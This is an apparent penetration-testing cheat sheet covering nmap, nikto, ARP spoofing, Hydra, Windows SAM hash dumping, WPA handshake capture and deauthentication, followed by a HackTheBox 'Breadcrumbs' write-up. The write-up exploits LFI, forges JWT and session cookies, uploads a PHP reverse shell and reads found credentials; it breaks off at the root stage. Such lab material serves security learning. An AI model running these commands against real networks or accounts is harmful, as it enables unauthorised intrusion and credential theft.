Wireshark is mostly used as an Sniffing tool to analise protocols when the computer send or receive packages, it can also be used with a Man in the Middle attack to analyze the traffic between host and victim.
#### Important Filters
Note that what is written here are only examples and not all the possibilities. So you can combine them and create your own filters based on your needs.
- Filters packages sent or received by an IP address. Useful for analizing an especific computer:
> ip.addr==192.168.0.1
- Filters only the packages that this IP has sent:
> ip.src==192.168.0.1
- Filters only the packages that this IP will receive:
> ip.dst==192.168.0.1
- Filters tcp packages by an especific port. Useful when filtering the communication of an specific service:
> tcp.port==xxx
- Filters tcp packages that cointains the term "google.com":
> tcp contains google.com
- Filters by udp protocol or tcp protocol:
> udp or
- Filters all dns packages:
> dns
- Filters all http packages:
> http
- Filters all HTTP GET and POST requests. It can show the most accessed webpages:
> http.request
- Filter http packages that contain the term .doc
> http contains .doc
- Filter http packages sent by the host:
> http.host
- Filter http packages sent by the server:
> http.server
- Displays all packets that contain the word ‘traffic’. Excellent when searching on a specific string or user ID:
> frame contains traffic
- Service that provides mutual authentication between users and services in a network. Useful for finding logins:
> kerberos
## Nmap
```console
nmap {IP_ADDRESS}
```
Example:
```console
nmap 192.168.1.*
```
#### Ports state
The ports can be classified in 3 states:
- **Open** - Port is open accepting TCP conections or UDP packages.
- **Closed** - Port is closed but answers to Nmap packages, but there's no application listening to it.
- **Filtered** - Nmap doesn't know if is open or closed, because there's a package filter that don't let Nmap packages to reach the port.
#### Flags
- Port selection:
> -p 22,80-85,443,8000-8005,8080-8085
- Know port selection:
> -p ssh
- Agressive scan:
> -T5
- Discreet scan:
> -T0
- Save to file:
> -oN {FILENAME}
- Randomizes the port scan order by default to make detection slightly harder:
> -r
- Skip the ping test and simply scan every target host provided (helps finding hidden hosts):
> -Pn
- Display open TCP ports:
> -sT
- Display open UCP ports:
> -sU
- Display target system infos:
> -A
- Display target OS:
> -O
- Display version of services running in the ports:
> -sV
- Find vulnerabilities:
> --script vuln
- Find malwares or backdoors:
> --script malware
## Telnet
Telnet can be used to get the name and version of a process running in a specific port
```console
telnet {IP_ADDRESS} {PORT}
```
Example:
```console
telnet 192.168.1.1 22
```
## Nikto
Nikto is used to find vulnerabilities on web servers.
```console
nikto -host {IP_ADDRESS_OR_WEBSITE_DOMAIN} {OPTIONS}
```
Example:
```console
nikto -h 192.168.15.1 -Display 1
```
#### Options
- Show redirects:
> -Display 1
- Show cookies received:
> -Display 2
- Show all 200/OK responses:
> -Display 3
- Show URLs that need autentication:
> -Display 4
- Show debugging log:
> -Display D
- Show more detailed infos:
> -Display V
##### Scan tuning for Nikto:
- File upload:
> -Tuning 0
- Interesting File / Seen in logs:
> -Tuning 1
- Misconfiguration / Default File:
> -Tuning 2
- Information Disclosure:
> -Tuning 3
- Injection (XSS/Script/HTML):
> -Tuning 4
- Remote File Retrieval - Inside Web Root:
> -Tuning 5
- DOS (Denial Of Service):
> -Tuning 6
- Remote File Retrieval - Server Wide:
> -Tuning 7
- Remote shell / Command execution:
> -Tuning 8
- SQL injection:
> -Tuning 9
- Authentication Bypass:
> -Tuning a
- Software identification:
> -Tuning b
- Remote font inclusion:
> -Tuning c
- WebService:
> -Tuning d
- Administrative Console:
> -Tuning e
## NSLookup
Shows DNS servers of some website domain
```console
nslookup {WEBSITE_DOMAIN}
```
Example:
```console
nslookup www.google.com
```
## Webtech
Show tecnologies used in a webserver.
```console
./.local/bin/webtech -u {WEBSITE_DOMAIN}
```
Example:
```console
./.local/bin/webtech -u http://www.google.com
```
#### How to install
> pip install webtech
## WAF
Checks for WAF (Web Application FIrewall):
```console
wafw00f -a -v {WEBSITE_DOMAIN}
```
Example:
```console
wafw00f -a -v http://www.google.com
```
# Attack Tools
## ARP Spoofing
The objective of this attack is to add/replace some entries in the ARP table making the router believe that the attacker is in reality the victim and making the victim believe that the attacker is the router.
### Enabling fowarding
First you need to enable fowarding of packets so the victim doesn't know that something happened.
___
#### Temporary fowarding
For temporary fowarding (this will disable fowarding when the machine is rebooted):
```console
sudo sysctl -w net.ipv4.ip_forward=1
```
or
```console
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
```
___
#### Permanent fowarding
```console
sudo nano /etc/sysctl.conf
```
then find the line:
```
#Uncomment the next line to enable packet forwarding for IPv4
#net.ipv4.ip_forward=1
```
and delete the "#" in the second line:
```
#Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
```
then
> Ctrl o
> Enter
> Ctrl x
and finally run this to apply the changes:
```console
sudo sysctl -p /etc/sysctl.conf
```
### Making a man in the middle with Arpspoof
To make this we will use this command two times:
```console
sudo arpspoof -i {NETWORK_INTERFACE} -t {TARGET_IP} {IP_YOU_WILL_BE_PRETENDING_TO_BE}
```
___
#### First terminal
First to make the router think that our machine is the victim:
```console
sudo arpspoof -i {NETWORK_INTERFACE} -t {ROUTER_IP} {VICTIM_IP}
```
Example:
```console
sudo arpspoof -i eth0 -t 192.168.0.1 192.168.0.104
```
___
#### Second terminal
Then we make the victim think that our machine is the router:
```console
sudo arpspoof -i {NETWORK_INTERFACE} -t {VICTIM_IP} {ROUTER_IP}
```
Example:
```console
sudo arpspoof -i eth0 -t 192.168.0.104 192.168.0.1
```
and with this we have a man in the middle set.
## Hydra Password Cracking
Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.
```console
hydra -L {USER_LIST_FILE} -P {PASSWORD_LIST_FILE} {IP_ADDRESS} {PROTOCOL}
```
or
```console
hydra -l {USERNAME} -p {PASSWORD} {IP_ADDRESS} {PROTOCOL}
```
Example:
```console
hydra -l admin -P passwords.txt 192.168.15.99 ssh
```
#### Flags
- Restore a previous aborted/crashed session:
> -R
- Ignore an existing restore file (don't wait 10 seconds):
> -I
- Perform an SSL connect:
> -S
- If the service is on a different default port, define it here:
> -s {PORT}
- Login with LOGIN name, or load several logins from FILE:
> -l {LOGIN}
> -L {FILE}
- Try password PASS, or load several passwords from FILE
> -p {PASS}
> -P {FILE}
#### How to install
```console
sudo apt install hydra
```
## Burp Suite
## Windows local password cracking
Cracking a Windows password is a three-step process:
1. Acquiring the crypted password files
2. Uncrypting them
3. Cracking the Hashes
As an overview the method presented here starts by getting the files that hold the passwords hashes encrypted, then uncrypt them with Samdump2 getting the Hashes, and finally trying ways to crack this Hashes.
#### Getting SAM and SYSTEM files
Windows password hashes are stored in the SAM (Security Accounts Manager) file, however, they are encrypted with the system boot key, which is stored in the SYSTEM file. If we get access to both of these files, then the SYSTEM file can be used to decrypt the password hashes stored in the SAM file.
They are in this directory: windows/system32/config . Unfornately this directory isn't accessible when Windows is running, so to get them you need to use some commands:
> reg save hklm\sam c:\sam
> reg save hklm\system c:\system
#### Getting password hashes with Samdump2
After you have both files we run Samdump2 to decrypt and get the Hashes.
```console
samdump2 -o {OUTPUT_FILE} {SYSTEM_FILE} {SAM_FILE}
```
Example:
```console
samdump2 -o hashes.txt SYSTEM SAM
```
The hashes you will get will be in this format:
> {USER}:{USER_ID}:{LM_HASH}:{NT_HASH}:::
For example:
> Maulem:1004:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
The LM Hash is older and easier to crack but sometimes (like this example) its value is an empty string which means we cannot use it to get the password.
The NT Hash (or NTLM in some cracking websites) is newer and more difficult to crash, but if cracking the LM didn't work this hash is the way.
#### Cracking the Hashes
There are a lot of ways to crack the Hashes, this Hashes are LM or NT (or NTLM) and can be cracked with:
- [Online Hash Cracking](#websites-for-crashing-hashs)
- [Ophcrack (Specialized in windows password cracking)](#ophcrack)
- [John the Ripper](#john-the-ripper)
- [Hashcat](#hashcat)
## WI-fi password cracking
Basically the process to crack wi-fi passwords consists in two parts, first you need to capture the wi-fi handshake from a device that has the password and then you need to crack the hash provenient from the handshake.
In this guide we will use Airmon tools to capture the Handshake and then there are a lot of tools for cracking the hashes.
#### Setting up Wlan interfaces
For this to work you need a Wlan interface to capture the Handshake, that means that if your PC only get internet through cable this won't work.
To show your interfaces use this command:
```console
iwconfig
```
You should have at least one interface, named like wlan0 or wlan1.
In the next step if you use the interface that is connected to the internet you will **lose your internet connection until you restart the computer**, so if you only have 1 wlan interface you will need an ethernet cable to have connection to the internet.
To start searching for networks using your interface:
```console
sudo airmon-ng start {WLAN_INTERFACE_NAME}
```
For example:
```console
sudo airmon-ng start wlan0
```
If you see a message that says "Found processes that could cause trouble," run this to kill them:
```console
sudo airmon-ng check kill
```
Now if you run this command again it should show that the interface mode is now at Monitor mode and not in Managed mode
```console
iwconfig
```
#### Discovering networks in your area
To discover 2.4G networks near you use this command (note that the Wlan interface name should have changed after the activation of the Monitor mode)
```console
sudo airodump-ng {WLAN_INTERFACE_MONITOR_NAME}
```
For example:
```console
sudo airodump-ng wlan0mon
```
To discover all networks including 5G near you use this command
```console
sudo airodump-ng --band ab {WLAN_INTERFACE_MONITOR_NAME}
```
For example:
```console
sudo airodump-ng --band ab wlan0mon
```
The disadvantage of discovering all networks instead the default ones is that your machine looks in more than 170 channels instead of 15 and this takes a lot more time to refresh th same network again.
Note that to get handshakes through 5G you will need to really be near the router.
#### Focusing on one network
Now that you have seen the networks in your area you need to choose one and get its BSSID and CH (channel).
Note that networks with lower values of PWR (power) means that the network is too far away and that lowers the possibilities to get a Handshake, try to pick the nearest network to -1 PWR or try walking near the router (the PWR value will increase).
In my experience the minimum power that i could get a handshake was -60 PWR and took over 2 days.
This command focus on a network, the -c (channel) is not mandatory neither --output-format but it helps on what we are trying to do:
```console
sudo airodump-ng -c {CHANNEL_NUM} -w {FILE_NAME} --output-format pcap -d {NETWORK_BSSID} {WLAN_INTERFACE_MONITOR_NAME}
```
For example:
```console
sudo airodump-ng -c 6 -w cap --output-format pcap -d 98:7E:CA:AE:A9:DF wlan0mon
```
This command is the same in 2.4G and 5G networks, just watch that the same network has different BSSIDs for 2.4G and 5G.
After running this command you should see something like this, the first part (1) show infos about the network that we are focusing, if no infos appear it means that either the network is off or the channel is wrong. A bug that i noticed is that the infos about some networks disappear after some time, the way that i supressed this was to not set an especific channel to focus.
The second part (2) show devices that are connected to the network, to capture a handshake either a new device (that has the password) can connect to the network or a connected device can disconnect and connect again.
You can passively wait for the handshake or you can try to disconnect devices from the network to capture the handshakes when they connect again, but this is risky because you can be detected by others doing it.
Also a lot of routers have security measures against deauthentication attacks nowadays.
[How to do a Deauth attack](#deauth-attack)
After capturing the handshake something like this (1) should appear in the terminal.
If appear a PMKID instead of a Handshake it means that you are lucky because even without any users connecting to the network the Aircrack managed to get a PMKID that can be used to crack the password without the need of a handshake, in this case you need to extract the PMKID from the .cap file using hcxtool:
```console
hcxpcaptool -z {FILE_TO_SAVE_HASH_FROM_PMKID} {CAP_FILE}
```
For example:
```console
hcxpcaptool -z pmkid_hash.txt cap.cap
```
#### Cracking the password from the Handshake/PMKID
These tools can help you to crack Handshakes or PMKIDs:
- [Online Hash Cracking](#websites-for-crashing-hashs)
- [John the Ripper](#john-the-ripper)
- [Hashcat](#hashcat)
## Deauth Attack
The deauthentication attack tries to disconnect a user or all the users of a network, but it can be detected and a lot of routers have security measures against this kind of attack nowadays.
To try to hide your presence and not be detected by the security mecanisms the best is to set a number of tries (leaving in at 0 tries infinite times) and try to attack only one device at time.
#### Disconecting a device
Note that the device BSSID can be found when [focusing on a network with airdump](#focusing-on-one-network), below "STATION" column.
```console
sudo aireplay-ng -0 {NUMBER OF TRIES} -a {NETWORK_BSSID} -c {DEVICE_BSSID} {WLAN_INTERFACE_MONITOR_NAME}
```
For example:
```console
sudo aireplay-ng -0 20 -a 86:7E:CA:AE:A9:DE -c D4:F4:6F:C6:BE:2B wlan0mon
```
#### Disconecting all devices
```console
sudo aireplay-ng -0 {NUMBER OF TRIES} -a {NETWORK_BSSID} {WLAN_INTERFACE_MONITOR_NAME}
```
For example:
```console
sudo aireplay-ng -0 0 -a 86:7E:CA:AE:A9:DE wlan0mon
``` |
# Breadcrumbs - HackTheBox - Writeup
Windows, 40 Base Points, Hard
## Machine
## Breadcrumbs Solution
### User 1
Let's start with ```nmap``` scanning:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ nmap -sC -sV -oA nmap/Breadcrumbs 10.10.10.228
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-25 18:12 IDT
Nmap scan report for 10.10.10.228
Host is up (0.083s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.21' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=6/25%Time=60D5F286%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.21'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 4m18s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-25T15:17:40
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.21 seconds
```
Let's try to observe on port 80:
By click on the button we get the following webpage [http://10.10.10.228/php/books.php](http://10.10.10.228/php/books.php):
Let's intrecept the request using [BurpSuite](https://portswigger.net/burp), Just insert for title "t" and for author "a":
By changing the request body from ```title=t&author=a&method=0``` to ```title=t&author=a&method=1``` we got the following response:
As we can see from the error message - where ```method=1``` we need to add another parameter called ```book``` and according the error:
>file_get_contents(../books/): Failed to open stream: No such file or directory in C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php
We know that It's looking for file name of book that located on ```../books```.
If we send the following request ```book=book3.html&method=1``` we get the following response:
So It's mean we are able to read files from server ([LFI](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/)).
Let's try to send the following request body ```book=../includes/bookController.php&method=1``` to read the current webpage:
And we just get the following code:
```php
<? php
if($_SERVER['REQUEST_METHOD'] == "POST"){
$out = "";
require '../db/db.php';
$title = "";
$author = "";
if($_POST['method'] == 0){
if($_POST['title'] != ""){
$title = "%".$_POST['title']."%";
}
if($_POST['author'] != ""){
$author = "%".$_POST['author']."%";
}
$query = "SELECT * FROM books WHERE title LIKE ? OR author LIKE ?";
$stmt = $con->prepare($query);
$stmt->bind_param('ss', $title, $author);
$stmt->execute();
$res = $stmt->get_result();
$out = mysqli_fetch_all($res,MYSQLI_ASSOC);
}
elseif($_POST['method'] == 1){
$out = file_get_contents('../books/'.$_POST['book']);
}
else{
$out = false;
}
echo json_encode($out);
}
```
```gobuster``` also give us [http://10.10.10.228/portal/login.php](http://10.10.10.228/portal/login.php):
By login to the portal we get the following page:
The intersing page is [File Managment](http://10.10.10.228/portal/php/files.php).
By reading the source code of File Managment page (Using LFI) we can see the following code:
```php
<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
header("Location: ../index.php");
}
if(isset($_SESSION['loggedIn'])){
$LOGGED_IN = true;
require '../db/db.php';
}
else{
header("Location: ../auth/login.php");
die();
}
?>
<html lang="en">
<head>
<title>Binary</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="../assets/css/main.css">
<link rel="stylesheet" type="text/css" href="../assets/css/all.css">
</head>
<nav class="navbar navbar-default justify-content-end">
<div class="navbar-header justify-content-end">
<button type="button" class="navbar-toggle btn btn-outline-info p-3 m-3" data-toggle="collapse" data-target=".navbar-collapse"><i class="fas fa-hamburger"></i></button>
</div>
<div class="collapse navbar-collapse justify-content-end mr-5">
<ul class="navbar-nav">
<li class="nav-item"><a class="nav-link text-right" href="../index.php"><i class="fas fa-home"></i> Home</a></li>
<li class="nav-item"><a class="nav-link text-right" href="issues.php"><i class="fa fa-check" aria-hidden="true"></i> Issues</a></li>
<li class="nav-item"><a class="nav-link text-right" href="users.php"><i class="fa fa-user" aria-hidden="true"></i> User Management</a></li>
<li class="nav-item"><a class="nav-link text-right" href="#"><i class="fa fa-file" aria-hidden="true"></i> File Management</a></li>
<li class="nav-item"><a class="nav-link text-right" href="../auth/logout.php"><i class="fas fa-sign-out-alt"></i> Logout</a></li>
</ul>
</div>
</nav>
<body class="bg-dark">
<main class="main">
<div class="row justify-content-center text-white text-center">
<div class="col-md-3">
<h1>Task Submission</h1>
<p class="text-danger"><i class="fas fa-exclamation-circle"></i> Please upload only .zip files!</p>
<form onsubmit="return false">
<div class="form-group mt-5">
<input type="text" class="form-control" placeholder="Task completed" id="task" name="task">
</div>
<div class="form-group">
<input type="file" class="form-control" placeholder="Task" id="file" name="file">
</div>
<button type="submit" class="btn btn-outline-success btn-block py-3" id="upload">Upload</button>
</form>
<p id="message"></p>
</div>
</div>
</div>
</main>
<?php include "../includes/footer.php"; ?>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
<script type="text/javascript" src='../assets/js/files.js'></script>
</body>
</html>
```
We are able to upload files to web server, But we can access this web page only if we are logged in as ```paul``` user:
```php
...
if($_SESSION['username'] !== "paul"){
header("Location: ../index.php");
}
...
```
By reading the [login.php](http://10.10.10.228/portal/login.php) page we can see the following:
```php
<?php
require_once 'authController.php';
?>
<html lang="en">
<head>
<title>Binary</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
....
```
So it's mean we need to read also [authController.php](http://10.10.10.228/portal/authController.php):
```php
<?php
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \\Firebase\\JWT\\JWT;
...
if($valid){
session_id(makesession($username));
session_start();
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$data = array();
$payload = array(
"data" => array(
"username" => $username
));
$jwt = JWT::encode($payload, $secret_key, 'HS256');
setcookie("token", $jwt, time() + (86400 * 30), "/");
$_SESSION['username'] = $username;
$_SESSION['loggedIn'] = true;
if($userdata[0]['position'] == ""){
$_SESSION['role'] = "Awaiting approval";
}
else{
$_SESSION['role'] = $userdata[0]['position'];
}
header("Location: /portal");
}
...
```
We can see how the Cookies generates:
1. JWT token using ```$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';```.
2. ```PHPSESSID``` (On ```cookies.php```).
First, Let's [generate JWT token](https://dinochiesa.github.io/jwt/) for user ```paul``` using the secret key to see the [File Managment](http://10.10.10.228/portal/php/files.php) page:
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
```
And to generate ```PHPSESSID``` cookie we need to read the page [cookie.php](http://10.10.10.228/portal/authController.php):
```php
<?php
/**
* @param string $username Username requesting session cookie
*
* @return string $session_cookie Returns the generated cookie
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK
* */
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
```
As we can see the code of ```cookie.php``` generate random seed ```(0,strlen("paul")-1) ``` so we need to get all possilbe sessions (All possibles numbers from ```0, strlen("paul") - 1```, We can do it by running the following script (Changed at ```cookie.php``` the ```$username``` to ```paul```):
```bash
for (( i = 0; i < 50; i++ )); do
php cookie.php >> sessions
done
sort -u sessions
```
By running this we get the following output:
```
paul47200b180ccd6835d25d034eeb6e6390
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paula2a6a014d3bee04d7df8d5837d62e8c5
```
By trying each of them we found the following current cookies:
```
PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
```
Using that we can get the [File Managment](http://10.10.10.228/portal/php/files.php) page:
If we are trying to upload ```php``` file we got the following error:
By reading [fileController.php](http://10.10.10.228/portal/includes/fileController.php):
```php
<?php
$ret = "";
require "../vendor/autoload.php";
use \\Firebase\\JWT\\JWT;
session_start();
function validate(){
$ret = false;
$jwt = $_COOKIE['token'];
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$ret = JWT::decode($jwt, $secret_key, array('HS256'));
return $ret;
}
if($_SERVER['REQUEST_METHOD'] === "POST"){
$admins = array("paul");
$user = validate()->data->username;
if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
error_reporting(E_ALL & ~E_NOTICE);
$uploads_dir = '../uploads';
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_POST['task'];
if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
$ret = "Success. Have a great weekend!";
}
else{
$ret = "Missing file or title :(" ;
}
}
else{
$ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
}
echo $ret;
}
```
So it's mean our file should located on ```../uploads``` with the name of the ```task``` POST request section as follow:
```HTTP
POST /portal/includes/fileController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------68917574038735738252067892863
Content-Length: 355
Origin: http://10.10.10.228
DNT: 1
Connection: close
Referer: http://10.10.10.228/portal/php/files.php
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
-----------------------------68917574038735738252067892863
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-php
<?php echo "hi"; ?>
-----------------------------68917574038735738252067892863
Content-Disposition: form-data; name="task"
1.php
-----------------------------68917574038735738252067892863--
```
It's mean the link of the file is: [http://10.10.10.228/portal/uploads/1.php](http://10.10.10.228/portal/uploads/1.php).
Let's try to upload the following [windows php reverse shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php)
Navigate it And we get a shell:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ nc -lvp 1234
listening on [any] 1234 ...
10.10.10.228: inverse host lookup failed: Unknown host
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.228] 58356
SOCKET: Shell has connected! PID: 7228
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>whoami
breadcrumbs\www-data
```
By enumerating we can found the following folder that contains:
```console
c:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of c:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData
02/08/2021 06:37 AM <DIR> .
02/08/2021 06:37 AM <DIR> ..
11/28/2020 02:48 AM 170 alex.disabled
11/28/2020 02:48 AM 170 emma.disabled
11/28/2020 02:48 AM 170 jack.disabled
11/28/2020 02:48 AM 170 john.disabled
01/17/2021 04:11 PM 192 juliette.json
11/28/2020 02:48 AM 170 lucas.disabled
11/28/2020 02:48 AM 170 olivia.disabled
11/28/2020 02:48 AM 170 paul.disabled
11/28/2020 02:48 AM 170 sirine.disabled
11/28/2020 02:48 AM 170 william.disabled
10 File(s) 1,722 bytes
2 Dir(s) 6,525,378,560 bytes free
c:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>type juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
```
And we found creds: ```juliette:jUli901./())!```.
Let's connect this user using ```ssh```:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ ssh [email protected]
The authenticity of host '10.10.10.228 (10.10.10.228)' can't be established.
ECDSA key fingerprint is SHA256:JpPYtFfyEYypgrRNtWR/Ekn1RM4ltgVxa41kmIxpkoY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.228' (ECDSA) to the list of known hosts.
[email protected]'s password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
juliette@BREADCRUMBS C:\Users\juliette>cd Desktop
juliette@BREADCRUMBS C:\Users\juliette\Desktop>type user.txt
5bcf94e1a45ccbe8515f2f8d552e04a6
```
And we get the user flag ```5bcf94e1a45ccbe8515f2f8d552e04a6```.
### User 2
By reading the ```todo.html``` file from ```juliette@BREADCRUMBS C:\Users\juliette\Desktop``` we get the following content:
So we have hint about passwords on sticky notes:
```
Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager
```
We get get the sticky notes files from ```C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState```:
```console
juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
01/15/2021 05:10 PM <DIR> .
01/15/2021 05:10 PM <DIR> ..
01/15/2021 05:10 PM 20,480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
11/29/2020 04:10 AM 4,096 plum.sqlite
01/15/2021 05:10 PM 32,768 plum.sqlite-shm
01/15/2021 05:10 PM 329,632 plum.sqlite-wal
4 File(s) 386,976 bytes
2 Dir(s) 6,521,532,416 bytes free
```
Let's copy all of them using scp:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ scp [email protected]:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal plum.sqlite-wal
...
```
After the copy let's locate them on another Windows 10 maching on the same location ```C:\Users\evyatar9\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState```:
And just run the sticky notes to get the notes:
And we get the ```develoment``` creds: ```development: fN3)sN5Ee@g```. Let's use those creds using ```ssh```:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ ssh [email protected]
[email protected]'s password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
```
And we logged in as ```develoment``` user.
### Root
By enumerating we found the following directory:
```console
development@BREADCRUMBS C:\Development>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Development
01/15/2021 05:03 PM <DIR> .
01/15/2021 05:03 PM <DIR> ..
11/29/2020 04:11 AM 18,312 Krypter_Linux
1 File(s) 18,312 bytes
2 Dir(s) 6,518,198,272 bytes free
```
Let's copy this file ```Krypter_Linux``` using ```scp``` and check what it this file:
```console
┌─[evyatar@parrot]─[/hackthebox/Breadcrumbs]
└──╼ $ file Krypter_Linux
